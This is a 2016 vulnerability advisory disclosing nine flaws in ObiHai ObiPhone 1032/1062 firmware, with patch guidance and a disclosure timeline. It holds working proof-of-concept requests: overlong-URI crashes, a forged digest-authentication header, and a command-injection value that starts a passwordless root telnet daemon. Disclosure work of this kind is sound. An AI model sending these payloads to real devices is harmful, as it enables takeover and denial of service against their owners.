ObiHai ObiPhone 1032/1062 XSS / CSRF / DoS / Command Injection

2016-08-22T00:00:00
ID PACKETSTORM:138462
Type packetstorm
Reporter David Tomaschik
Modified 2016-08-22T00:00:00

Description

                                        
                                            `ObiHai ObiPhone - Multiple Vulnerabilities  
------------------------------------------  
  
Introduction  
============  
Multiple vulnerabilities were discovered in the web management  
interface of the ObiHai ObiPhone products. The Vulnerabilities were  
discovered during a black box security assessment and therefore the  
vulnerability list should not be considered exhaustive.  
  
Affected Devices and Versions  
=============================  
ObiPhone 1032/1062 with firmware less than 5-0-0-3497.  
  
Vulnerability Overview  
======================  
Obi-1. Memory corruption leading to free() of an attacker-controlled address  
Obi-2. Command injection in WiFi Config  
Obi-3. Denial of Service due to buffer overflow  
Obi-4. Buffer overflow in internal socket handler  
Obi-5. Cross-site request forgery  
Obi-6. Failure to implement RFC 2617 correctly  
Obi-7. Invalid pointer dereference due to invalid header  
Obi-8. Null pointer dereference due to malicious URL  
Obi-9. Denial of service due to invalid content-length  
  
Vulnerability Details  
=====================  
  
----------------------------------------------------------------------------  
Obi-1. Memory corruption leading to free() of an attacker-controlled address  
----------------------------------------------------------------------------  
  
By providing a long URI (longer than 256 bytes) not containing a slash in a  
request, a pointer is overwritten which is later passed to free(). By  
controlling the location of the pointer, this would allow an attacker to affect  
control flow and gain control of the application. Note that the free() seems to  
occur during cleanup of the request, as a 404 is returned to the user before the  
segmentation fault.  
  
python -c 'print "GET " + "A"*257 + " HTTP/1.1\nHost: foo"' | nc IP 80  
  
(gdb) bt  
#0 0x479d8b18 in free () from root/lib/libc.so.6  
#1 0x00135f20 in ?? ()  
(gdb) x/5i $pc  
=> 0x479d8b18 <free+48>: ldr r3, [r0, #-4]  
0x479d8b1c <free+52>: sub r5, r0, #8  
0x479d8b20 <free+56>: tst r3, #2  
0x479d8b24 <free+60>: bne 0x479d8bec <free+260>  
0x479d8b28 <free+64>: tst r3, #4  
(gdb) i r r0  
r0 0x41 65  
  
---------------------------------------  
Obi-2. Command injection in WiFi Config  
---------------------------------------  
  
An authenticated user (including the lower-privileged "user" user) can enter a  
hidden network name similar to "$(/usr/sbin/telnetd &)", which starts the telnet  
daemon.  
  
GET /wifi?checkssid=$(/usr/sbin/telnetd%20&) HTTP/1.1  
Host: foo  
Authorization: [omitted]  
  
Note that telnetd is now running and accessible via user "root" with no  
password.  
  
-----------------------------------------------  
Obi-3. Denial of Service due to buffer overflow  
-----------------------------------------------  
  
By providing a long URI (longer than 256 bytes) beginning with a slash, memory  
is overwritten beyond the end of mapped memory, leading to a crash. Though no  
exploitable behavior was observed, it is believed that memory containing  
information relevant to the request or control flow is likely overwritten in the  
process. strcpy() appears to write past the end of the stack for the current  
thread, but it does not appear that there are saved link registers on the stack  
for the devices under test.  
  
python -c 'print "GET /" + "A"*256 + " HTTP/1.1\nHost: foo"' | nc IP 80  
  
(gdb) bt  
#0 0x479dc440 in strcpy () from root/lib/libc.so.6  
#1 0x001361c0 in ?? ()  
Backtrace stopped: previous frame identical to this frame (corrupt stack?)  
(gdb) x/5i $pc  
=> 0x479dc440 <strcpy+16>: strb r3, [r1, r2]  
0x479dc444 <strcpy+20>: bne 0x479dc438 <strcpy+8>  
0x479dc448 <strcpy+24>: bx lr  
0x479dc44c <strcspn>: push {r4, r5, r6, lr}  
0x479dc450 <strcspn+4>: ldrb r3, [r0]  
(gdb) i r r1 r2  
r1 0xb434df01 3023363841  
r2 0xff 255  
(gdb) p/x $r1+$r2  
$1 = 0xb434e000  
  
-------------------------------------------------  
Obi-4. Buffer overflow in internal socket handler  
-------------------------------------------------  
  
Commands to be executed by realtime backend process `obid` are sent  
via Unix domain sockets from obiapp.  
In formatting the message for the Unix socket, a new string is constructed on  
the stack. This string can overflow the static buffer, leading to control of  
program flow. The only vectors leading to this code that were discovered during  
the assessment were authenticated, however unauthenticated code paths may exist.  
Note that the example command can be executed as the lower-privileged "user"  
user.  
  
GET /wifi?checkssid=[A*1024] HTTP/1.1  
Host: foo  
Authorization: [omitted]  
  
(gdb)  
#0 0x41414140 in ?? ()  
#1 0x0006dc78 in ?? ()  
  
---------------------------------  
Obi-5. Cross-site request forgery  
---------------------------------  
  
All portions of the web interface appear to lack any protection against  
Cross-Site Request Forgery. Combined with the command injection vector in  
ObiPhone-3, this would allow a remote attacker to execute arbitrary shell  
commands on the phone, provided the current browser session was logged-in to the  
phone.  
  
----------------------------------------------  
Obi-6. Failure to implement RFC 2617 correctly  
----------------------------------------------  
  
RFC 2617 specifies HTTP digest authentication, but is not correctly implemented  
on the ObiPhone. The HTTP digest authentication fails to comply in the  
following ways:  
  
- The URI is not validated  
- The application does not verify that the nonce received is the one it sent  
- The application does not verify that the nc value does not repeat or go  
backwards  
  
GET / HTTP/1.1  
Host: foo  
Authorization: Digest username="admin", realm="a", nonce="a", uri="/",  
algorithm=MD5, response="309091eb609a937358a848ff817b231c",  
opaque="", qop=auth,  
nc=00000001, cnonce="a"  
Connection: close  
  
HTTP/1.1 200 OK  
Server: OBi110  
Cache-Control:must-revalidate, no-store, no-cache  
Content-Type: text/html  
Content-Length: 1108  
Connection: close  
  
Please note that the realm, nonce, cnonce, and nc values have all been chosen  
and the response generated offline.  
  
--------------------------------------------------------  
Obi-7. Invalid pointer dereference due to invalid header  
--------------------------------------------------------  
  
Sending an invalid HTTP Authorization header, such as  
"Authorization: foo", causes the program to attempt to read from an invalid  
memory address, leading to a segmentation fault and reboot of the device. This  
requires no authentication, only access to the network to which the device is  
connected.  
  
GET / HTTP/1.1  
Host: foo  
Authorization: foo  
  
This causes the server to dereference the address 0xFFFFFFFF, presumably  
returned as a -1 error code.  
  
(gdb) bt  
#0 0x479dc438 in strcpy () from root/lib/libc.so.6  
#1 0x00134ae0 in ?? ()  
(gdb) x/5i $pc  
=> 0x479dc438 <strcpy+8>: ldrb r3, [r1, #1]!  
0x479dc43c <strcpy+12>: cmp r3, #0  
0x479dc440 <strcpy+16>: strb r3, [r1, r2]  
0x479dc444 <strcpy+20>: bne 0x479dc438 <strcpy+8>  
0x479dc448 <strcpy+24>: bx lr  
(gdb) i r r1  
r1 0xffffffff 4294967295  
  
----------------------------------------------------  
Obi-8. Null pointer dereference due to malicious URL  
----------------------------------------------------  
  
If the /obihai-xml handler is requested without any trailing slash or component,  
this leads to a null pointer dereference, crash, and subsequent reboot of the  
phone. This requires no authentication, only access to the network to which the  
device is connected.  
  
GET /obihai-xml HTTP/1.1  
Host: foo  
  
(gdb) bt  
#0 0x479dc7f4 in strlen () from root/lib/libc.so.6  
Backtrace stopped: Cannot access memory at address 0x8f6  
(gdb) info frame  
Stack level 0, frame at 0xbef1aa50:  
pc = 0x479dc7f4 in strlen; saved pc = 0x171830  
Outermost frame: Cannot access memory at address 0x8f6  
Arglist at 0xbef1aa50, args:  
Locals at 0xbef1aa50, Previous frame's sp is 0xbef1aa50  
(gdb) x/5i $pc  
=> 0x479dc7f4 <strlen+4>: ldr r2, [r1], #4  
0x479dc7f8 <strlen+8>: ands r3, r0, #3  
0x479dc7fc <strlen+12>: rsb r0, r3, #0  
0x479dc800 <strlen+16>: beq 0x479dc818 <strlen+40>  
0x479dc804 <strlen+20>: orr r2, r2, #255 ; 0xff  
(gdb) i r r1  
r1 0x0 0  
  
------------------------------------------------------  
Obi-9. Denial of service due to invalid content-length  
------------------------------------------------------  
  
Content-Length headers of -1, -2, or -3 result in a crash and device reboot.  
This does not appear exploitable to gain execution. Larger (more negative)  
values return a page stating "Firmware Update Failed" though it does not appear  
any attempt to update the firmware with the posted data occurred.  
  
POST / HTTP/1.1  
Host: foo  
Content-Length: -1  
  
Foo  
  
This appears to write a constant value of 0 to an address controlled by the  
Content-Length parameter, but since it appears to be relative to a freshly  
mapped page of memory (perhaps via mmap() or malloc()), it does not appear this  
can be used to gain control of the application.  
  
(gdb) bt  
#0 0x00138250 in HTTPD_msg_proc ()  
#1 0x00070138 in ?? ()  
(gdb) x/5i $pc  
=> 0x138250 <HTTPD_msg_proc+396>: strb r1, [r3, r2]  
0x138254 <HTTPD_msg_proc+400>: ldr r1, [r4, #24]  
0x138258 <HTTPD_msg_proc+404>: ldr r0, [r4, #88] ; 0x58  
0x13825c <HTTPD_msg_proc+408>: bl 0x135a98  
0x138260 <HTTPD_msg_proc+412>: ldr r0, [r4, #88] ; 0x58  
(gdb) i r r3 r2  
r3 0xafcc7000 2949410816  
r2 0xffffffff 4294967295  
  
Mitigation  
==========  
Upgrade to Firmware 5-0-0-3497 (5.0.0 build 3497) or newer.  
  
Author  
======  
The issues were discovered by David Tomaschik of the Google Security Team.  
  
Timeline  
========  
- 2016/05/12 - Reported to ObiHai  
- 2016/05/12 - Findings Acknowledged by ObiHai  
- 2016/05/20 - ObiHai reports working on patches for most issues  
- 2016/06/?? - New Firmware posted to ObiHai Website  
- 2016/08/18 - Public Disclosure  
  
  
--   
David Tomaschik  
Security Engineer  
ISA Assessments  
  
  
`